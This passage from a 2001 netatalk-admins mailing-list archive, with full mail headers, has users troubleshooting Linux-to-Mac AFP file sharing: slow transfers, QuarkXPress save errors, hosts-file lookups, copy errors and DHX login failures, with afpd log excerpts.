  Timing buffer-cache reads:   128 MB in  0.74 seconds =172.97 MB/sec
  Timing buffered disk reads:  64 MB in  1.13 seconds = 56.64 MB/sec

Most operating systems are fairly bad at copying a large number of 
small files, it's because of the overhead of directory updates etc 
for each little file.

mrad01
-- 
========================================================

"Always ask the question, never assume the answer."
		Marcus Radich 1999

========================================================

From netatalk.administrators-errors@umich.edu  Wed Feb 21 23:47:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA07313
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 23:47:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA07593
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 23:47:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA07549
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 23:47:51 -0500 (EST)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA07496
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 23:47:49 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f1M4lmD21076
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 22:47:48 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 21 Feb 2001 22:47:05 -0600
Subject: Re: Netatalk wire speed
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B9F5E8.119BA%bucky@interaccess.com>
In-Reply-To: <20010222023001.B2126@bagend.local>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> I need to copy about 13GB of files from a Linux box to a G3 Powerbook. The
> Linux box is running 1.4b2+asun2.1.3 (it's stock SuSE 7) and the Powerbook
> has mounted the filesystem using TCP (I hope - I entered the server IP
> address rather than picking it by name from the Chooser so that should do
> it, no ?). The server has a 3C509 card and is connected to the Powerbook by
> a crossover cable, and the link lights indicate that 100 MB is active. When
> I drag the relevant folder to the Powerbook (containing about 18000 files)
> it trundles away for a while, counting up to the number of files, and then
> starts copying. The estimated varies as a few files are copied, but it's
> always around 40 hours. Now cutting corners here and there this equates to
> an approx. transfer rate of ~ 5MB / minute - this is just a tad below the
> wire speed of a 100 MB network.
> 
> Now I know that afp won't really approach wirespeed, even over TCP rather
> than Appletalk, but even so ~ 5MB / minute seems a bit slow. Anyone have
> any suggestions ?

Just curious are you thinking in these terms: B = byte and b = bit ?
Because if you have a 100MB network, I want to come and play!

Otherwise, 5MB/minute works out to ~683Kbps, which sounds like around 45%
utilization on a T1 line, or ~6.7% utilization on 10baseT, or ~0.7%
utilization on a 100Mbps connection. Try sticking a full-duplex 10/100 hub
with informative LEDs between the two boxes and seeing what they tell you.
Some versions of Open Transport can be slow, but not that slow.

And 100Mbps is not the same as 100Mbps with full-duplex. You want
full-duplex.

Also, which version of PowerBook is it? I had a Lombard whose 10/100 card
stopped autosensing and permanently defaulted to 10baseT. Apple swapped it
out for me.

-B...


From netatalk.administrators-errors@umich.edu  Wed Feb 21 23:53:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA07495
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 23:53:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA03015
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 23:53:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA03001
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 23:53:46 -0500 (EST)
Received: from mail.zaius.org (cs28122-199.houston.rr.com [24.28.122.199])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA02958
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 23:53:44 -0500 (EST)
Received: from zaius.org (spare.zaius.org [10.0.0.3])
	by mail.zaius.org (Postfix) with ESMTP
	id 51AAF5659; Wed, 21 Feb 2001 22:51:22 -0600 (CST)
Message-ID: <3A949B5E.A963E295@zaius.org>
Date: Wed, 21 Feb 2001 22:53:51 -0600
From: Jeff Thompson <jeff@zaius.org>
X-Mailer: Mozilla 4.75 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Niall O Broin <niall@magicgoeshere.com>, netatalk-admins@umich.edu
Subject: Re: Netatalk wire speed
References: <20010222023001.B2126@bagend.local>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Niall-

> I need to copy about 13GB of files from a Linux box to a G3 Powerbook. The
> Linux box is running 1.4b2+asun2.1.3 (it's stock SuSE 7) and the Powerbook
> has mounted the filesystem using TCP (I hope - I entered the server IP
> address rather than picking it by name from the Chooser so that should do
> it, no ?).

yes, this forces the connection over TCP

> The server has a 3C509 card and is connected to the Powerbook by
> a crossover cable, and the link lights indicate that 100 MB is active. When
> I drag the relevant folder to the Powerbook (containing about 18000 files)
> it trundles away for a while, counting up to the number of files, and then
> starts copying. The estimated varies as a few files are copied, but it's
> always around 40 hours. Now cutting corners here and there this equates to
> an approx. transfer rate of ~ 5MB / minute - this is just a tad below the
> wire speed of a 100 MB network.

Yep, that's very slow.

> Now I know that afp won't really approach wirespeed, even over TCP rather
> than Appletalk, but even so ~ 5MB / minute seems a bit slow. Anyone have
> any suggestions ?

My #1 bet is a bad cable.

#2:    You're server's loaded with something else and afpd can't get the cpu
cycles (or disk I/O's) it needs to send the data.

#2a:    You're getting the 100MB light on the card, but the server only
recognizes it as a 10MB link (driver issue).  Even then, it should be a tad
faster than 5MB/min.

#3:    Your server (if it's normally connected to a larger network, ie the
Internet) is trashing itself trying to get some outside connection while it's
connected via the crossover cable to your 'book.

#4:    Your powerbook's ethernet port is messed up (it's happened to mine)

I hope this helps

--
-Jeff Thompson  (http://jeff.zaius.org)
jeff@zaius(.dyndns).org, jeff@artifex.org, jeff@kinkaid.org

If you keep anything long enough, you can throw it away.



From netatalk.administrators-errors@umich.edu  Thu Feb 22 08:02:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA17467
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 08:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA16464
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 08:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA16441
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 08:02:42 -0500 (EST)
Received: from pantheon-po02.its.yale.edu (pantheon-po02.its.yale.edu [130.132.143.33])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA16406
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 08:02:41 -0500 (EST)
Received: from morpheus.cis.yale.edu (morpheus.cis.yale.edu [130.132.143.248])
	by pantheon-po02.its.yale.edu (8.8.8/8.8.8) with ESMTP id IAA00858
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 08:02:34 -0500 (EST)
Received: from localhost (nlw4@localhost)
	by morpheus.cis.yale.edu (8.9.3+Sun/8.9.3) with ESMTP id IAA03237
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 08:02:05 -0500 (EST)
X-Authentication-Warning: morpheus.cis.yale.edu: nlw4 owned process doing -bs
Date: Thu, 22 Feb 2001 08:01:16 -0500 (EST)
From: "Radar O'Reilly" <nathan.willard@yale.edu>
X-X-Sender:  <nlw4@morpheus.cis.yale.edu>
To: Gregg Healy <gregg@photoad.com>
Subject: Re: Netatalk wire speed
In-Reply-To: <B6B9D2CD.5596%gregg@photoad.com>
Message-ID: <Pine.GSO.4.32.0102220758130.1779-100000@morpheus.cis.yale.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
ReSent-Date: Thu, 22 Feb 2001 08:01:52 -0500 (EST)
ReSent-From: "Radar O'Reilly" <nathan.willard@yale.edu>
ReSent-To: <netatalk-admins@umich.edu>
ReSent-Subject: Re: Netatalk wire speed
ReSent-Message-ID: <Pine.GSO.4.32.0102220801520.1779@morpheus.cis.yale.edu>

On Wed, 21 Feb 2001, Gregg Healy wrote:

> My G4 can sustain over 5mb/sec. Limited I think by the HD in my Linux system
> but I havent had the money to test it.
>
> There must be some kind of cable or incompatibility problem? Even a slow
> 10/mb connection can do 10mb/min.

Ah-cha. I've had the same problem observed here transferring files from my 7500
(YellowDog CS 1.2.1) to my 7200 (MacOS 8.6), which started after I upgraded
netatalk lo those eons ago, and hasn't really gone away. At the same time, I've
been having the same good luck as everyone else at work, with the 1.5
prerelease on my RH 7.0 machine. I never did track down what was causing it,
but this was the only time that there was any speed issue with either machine.
I wound up ftping the files in question, if memory serves me correctly.

Anyhoo, just wanted to let the man know he wasn't the only one to have observed
this.

 __________/| Nathan "Radar" Willard MC '00     | "A Sucking Chest Wound is
(_|__|_____\|________      PO Box 203927        |   nature's way of telling
     |_|_____________)- New Haven, CT 06520     |     you to slow down."



From netatalk.administrators-errors@umich.edu  Thu Feb 22 08:57:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA18659
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 08:57:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06943
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 08:57:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06923
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 08:57:45 -0500 (EST)
Received: from video1.avwashington.com (client-151-200-136-147.tag.com [151.200.136.147] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA06878
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 08:57:44 -0500 (EST)
Received: from mail.avwashington.com (IDENT:root@crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with ESMTP id IAA05884
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 08:59:49 -0500
Sender: root@video1.avwashington.com
Message-ID: <3A951A65.4102271E@mail.avwashington.com>
Date: Thu, 22 Feb 2001 08:55:49 -0500
From: Chip Mefford <cmefford@avwashington.com>
Reply-To: cpm@avwashington.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Netatalk wire speed
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I was just wondering, -having used netatalk for about 5 years now-
is there a stable release of any version anywhere that isn't a 
pre- or beta- or whatever? 

Not an issue, just curious. 

On Wed, 21 Feb 2001, Gregg Healy wrote:

>> My G4 can sustain over 5mb/sec. Limited I think by the HD in my Linux system
>> but I havent had the money to test it.
>>SNIP
>snip
> At the same time, I've
>been having the same good luck as everyone else at work, with the 1.5
>prerelease on my RH 7.0 machine. I never did track down what was causing it,
>but this was the only time that there was any speed issue with either machine.
>I wound up ftping the files in question, if memory serves me correctly.

>Anyhoo, just wanted to let the man know he wasn't the only one to have observed
>this.

 __________/| Nathan "Radar" Willard MC '00     | "A Sucking Chest Wound
is
(_|__|_____\|________      PO Box 203927        |   nature's way of
telling
     |_|_____________)- New Haven, CT 06520     |     you to slow down."

From netatalk.administrators-errors@umich.edu  Thu Feb 22 10:33:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA21399
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 10:33:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20763
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 10:33:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA20732
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 10:33:43 -0500 (EST)
Received: from tbsun.text-bild.de (fuerth.dvs.org [212.114.66.66] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA20666
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 10:33:41 -0500 (EST)
Received: from text-bild.de ([192.168.100.31]) by tbsun.text-bild.de
          (Post.Office MTA v3.5.3 release 223 ID# 127-57510U100L2S100V35)
          with ESMTP id de for <netatalk-admins@umich.edu>;
          Thu, 22 Feb 2001 16:39:43 +0100
Message-ID: <3A95314E.F076E153@text-bild.de>
Date: Thu, 22 Feb 2001 16:33:35 +0100
From: anatol.ulrich@text-bild.de (Anatol Ulrich)
Reply-To: Anatol.Ulrich@text-bild.de
Organization: Text & Bild GmbH
X-Mailer: Mozilla 4.72 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: netatalk + QuarkXPress 4.1
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Hi there again,

the auth problem I described disappeared after I upgraded netatalk to
the version from sourceforge. But the problem that I really tried to
kill with all those updates is the error -199 you get when you overwrite
documents with XPress 4.1 and have preview enabled.
I heard the new version would fix this error (disabling preview is not
an option for the guys here). I tried to compile netatalk both with and
without the "flock-locks" file lock mode, but no luck either way. How
can I solve the problem?

-anatol-


From netatalk.administrators-errors@umich.edu  Thu Feb 22 15:58:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA02541
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 15:58:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24481
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 15:58:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24467
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 15:58:58 -0500 (EST)
Received: from mail-a.bcc.ac.uk (mail-a.bcc.ac.uk [144.82.100.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24421
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 15:58:57 -0500 (EST)
Received: from [192.168.1.35] (actually host meserv.nucmed.ucl.ac.uk)
          by mail-a.bcc.ac.uk with SMTP (Mailer) with ESMTP;
          Thu, 22 Feb 2001 20:58:52 +0000
X-Sender: regupre@pop-server.ucl.ac.uk
Message-Id: <l03010d03b6ba6fb8d159@[192.168.1.35]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 22 Feb 2001 08:15:06 +0000
To: netatalk-admins@umich.edu
From: "Philip R. Edwards" <p.edwards@ucl.ac.uk>
Subject: netatalk needs clients in hosts file?

Hi,

Does/must netatalk & IP-able Macs resolve both server & client addresses?

The problem I see is a long delay after selecting the server in the chooser
before the client 'switches to Appletalk'. The connection may still fail.

The server (2.2.15-4mdk and netatalk 1.4b2+asun2.1.3-7) is on a private
subnet and like the macs uses an external DNS which, of course, does not know
their private addresses. Adding both server & client to the server hosts file
fixes the problem and a TCP/IP connection is made. However, adding only the
server address to the hosts files does not.

So, I suppose I just list all clients in the hosts file - but is this correct?

I read an earlier post explaining that when atalkd detected a Mac client that
could use IP it needed its own address to offer a TCP connection but there was
no mention of looking up the client. I am confused 'cos an earlier install
didn't need the client addresses and would like to work out why. I can list
config files etc if this isn't a FAQ I've missed.

Thanks for any info.,


----------------------------------------------------------------
Dr Philip R. Edwards                E-Mail: p.edwards@ucl.ac.uk
Dept. of Molecular Endocrinology    Mobile: 079 3914 1711
University College                  UCL   : 020 7679 9398
Mortimer Street
London          W1N 8AA



From netatalk.administrators-errors@umich.edu  Thu Feb 22 17:35:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05569
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 17:35:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA12380
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 17:35:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA12361
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 17:35:32 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA12321
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 17:35:30 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 22 Feb 2001 14:36:33 -0800
Message-Id: <sa9523f1.019@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 22 Feb 2001 14:36:01 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: File Copy Errors
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA05569

I've recently started running into two problems with my netatalk box:

1.  I've been getting Type -50 errors when copying files to the server sometimes.  I haven't seen this often enough myself to know exactly what the problem is, but my users claim they've seen it a lot.  I THINK it's mostly for file types that have resource forks, but I'm not sure.

2.  I've got one folder that whenever I create a new folder in it, I get a message saying that I don't have permission to create the folder.  Yet it DOES create it anyhow!  I can then rename it and use it normally.  Anything I do WITHIN one of the folders I create in this directory are also working normally.  Any ideas?

Netatalk 1.4b2+asun2.1.3 running on a Yellow Dog Linux 1.2 with all updates installed (including kernel 2.2.17)


Thanks in advance,

Bryn

Cecil Paris
Vancouver Community College
City Centre
Media Services
cparis@vcc.bc.ca
1-604-443-8366

From netatalk.administrators-errors@umich.edu  Thu Feb 22 17:37:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA05739
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 17:37:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16351
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 17:37:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16319
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 17:37:54 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA16274
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 17:37:52 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 22 Feb 2001 14:39:01 -0800
Message-Id: <sa952485.022@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 22 Feb 2001 14:38:33 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: File Copy Errors  (whoops, wrong address!)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA05739

OOPS!  Sorry, I sent that last message with the wrong signature at the bottom.  My correct email address is:

bhughes@vcc.bc.ca

Thanks!!

Bryn

>>> "Bryn Hughes" <bhughes@vcc.bc.ca> - 2/22/01 2:36 PM >>>
I've recently started running into two problems with my netatalk box:

1.  I've been getting Type -50 errors when copying files to the server sometimes.  I haven't seen this often enough myself to know exactly what the problem is, but my users claim they've seen it a lot.  I THINK it's mostly for file types that have resource forks, but I'm not sure.

2.  I've got one folder that whenever I create a new folder in it, I get a message saying that I don't have permission to create the folder.  Yet it DOES create it anyhow!  I can then rename it and use it normally.  Anything I do WITHIN one of the folders I create in this directory are also working normally.  Any ideas?

Netatalk 1.4b2+asun2.1.3 running on a Yellow Dog Linux 1.2 with all updates installed (including kernel 2.2.17)


Thanks in advance,

Bryn

Cecil Paris
Vancouver Community College
City Centre
Media Services
cparis@vcc.bc.ca
1-604-443-8366



From netatalk.administrators-errors@umich.edu  Thu Feb 22 21:35:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11858
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 21:35:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA08613
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 21:35:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA08605
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 21:35:45 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA08582
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 21:35:44 -0500 (EST)
Received: (qmail 818 invoked by uid 500); 23 Feb 2001 02:35:36 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Feb 2001 02:35:36 -0000
Date: Thu, 22 Feb 2001 20:35:36 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: No rc.atalk Present
Message-ID: <Pine.LNX.4.30.0102222033210.808-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

After compiling pre4 on a RH 7 box, there does not seem to be an rc.atalk
file present that I can start the service with.

The RPM version is /etc/rc.d/init.d/atalk

Anyone know what gives?

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Thu Feb 22 21:44:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA12120
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Feb 2001 21:44:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA20565
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Feb 2001 21:44:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA20557
	for netatalk.administrators-members@umich.edu; Thu, 22 Feb 2001 21:44:24 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA20536
	for <netatalk-admins@umich.edu>; Thu, 22 Feb 2001 21:44:23 -0500 (EST)
Received: (qmail 845 invoked by uid 500); 23 Feb 2001 02:44:07 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 23 Feb 2001 02:44:07 -0000
Date: Thu, 22 Feb 2001 20:44:07 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Still Only Cleartext
Message-ID: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

When using the pre4 RPM on a RH 7 box, there is no darn way for me to get
encrypted logins working. Guest and cleartext work but not dhx.

Check the logs out here:

Feb 22 10:00:38 itchy afpd[2381]: ASIP started on 144.92.19.56:548(2)
(1.5pre4)
Feb 22 10:00:38 itchy afpd[2381]: uam: uams_dhx.so loaded
Feb 22 10:00:38 itchy afpd[2381]: uam: "DHCAST128" available
Feb 22 10:00:48 itchy afpd[2381]: refused connect from 144.92.19.60
Feb 22 10:00:48 itchy afpd[2381]: dsi_getsess: Connection refused
Feb 22 10:00:57 itchy afpd[2384]: session from 44038.212:246 on
44039.103:253
Feb 22 10:01:07 itchy afpd[2384]: atp_rresp: Connection timed out
Feb 22 10:01:12 itchy afpd[2385]: session from 44038.212:246 on
44039.103:251
Feb 22 10:01:17 itchy afpd[2384]: afp_die: asp_shutdown: Connection timed
out
Feb 22 10:01:17 itchy afpd[2384]: 0.04KB read, 5.18KB written
Feb 22 10:01:17 itchy afpd[2381]: server_child[0] 2384 done
Feb 22 10:01:21 itchy afpd[2386]: session from 44038.212:246 on
44039.103:253
Feb 22 10:01:22 itchy afpd[2385]: atp_rresp: Connection timed out
Feb 22 10:01:31 itchy afpd[2386]: atp_rresp: Connection timed out
Feb 22 10:01:32 itchy afpd[2385]: afp_die: asp_shutdown: Connection timed
out

Here's another strange log after messing around with the config files in
/etc/atalk:

Feb 22 10:16:31 itchy afpd[2534]: uam: uams_guest.so loaded
Feb 22 10:16:31 itchy afpd[2534]: uam: uams_clrtxt.so loaded
Feb 22 10:16:31 itchy afpd[2534]: uam: uams_dhx.so loaded
Feb 22 10:16:31 itchy afpd[2534]: uam: "DHCAST128" available
Feb 22 10:16:31 itchy afpd[2534]: uam: "Cleartxt Passwrd" available
Feb 22 10:16:31 itchy afpd[2534]: uam: "No User Authent" available
Feb 22 10:16:39 itchy afpd[2534]: refused connect from 144.92.19.76
Feb 22 10:16:39 itchy afpd[2534]: dsi_getsess: Connection refused
Feb 22 10:16:55 itchy afpd[2537]: session from 44038.158:248 on
44038.190:253
Feb 22 10:17:06 itchy afpd[2537]: afp_die: asp_shutdown: Connection timed
out


What the heck is this???

Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Invalid argument
Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
.AppleDouble: Invalid argument
Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1 .:
Invalid argument
Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted
Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Invalid argument
Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
.AppleDouble: Invalid argument
Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1 .:
Invalid argument
Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted

TIA!



From netatalk.administrators-errors@umich.edu  Fri Feb 23 10:56:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
